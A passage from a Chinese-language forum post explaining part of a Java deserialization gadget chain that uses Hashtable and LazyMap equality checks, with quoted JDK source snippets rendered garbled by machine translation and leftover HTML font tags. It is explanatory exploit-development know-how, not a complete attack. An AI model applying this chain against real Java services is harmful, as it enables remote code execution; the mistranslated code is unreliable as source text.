  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    if ((e.hash == hash) && e.key.equals(key)) {</font></font>
复制代码

只有在调用第一次重构放之后,将第一个哈希表中的元素吸附方法到标签中数组在进行第二次调用时
才会使标签数组非空,从而能够正常调用e.key.equals(键)方法
[/I][/I][/I][/I][/I][/I][/I][/I][/I][/I][/I]
99.jpg


而调用场景需要Put方法的前提是两个Hashtable中存在元素
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">for (; 元素 > 0; 元素--) { </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    @SuppressWarnings("unchecked") </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        K key = (K)s.readObject(); </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    @SuppressWarnings("unchecked") </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        V value = (V)s.readObject(); </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 同步可以消除性能</font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    重构Put(table, key, value); </font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码

并且为了保证e.key.equals()方法中e.key是LazyMap 且完成LazyMap对象的参数也需要是zyMap对象
因此需要实例化LazyMap对象,在Hashtable中进行key比较时,LazyMap的整理用完成完成利用链的构造。
调用remove清lazyMap2中的y元素,是为了保持两个LazyMap中的元素个数保持相同,因为在AbstractMap#
等于中存在LazyMap元素个数比较的判断条件


98.jpg


如果元素个数不同将直接返回假 去调用照片的得到请求。导致利用链失效。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.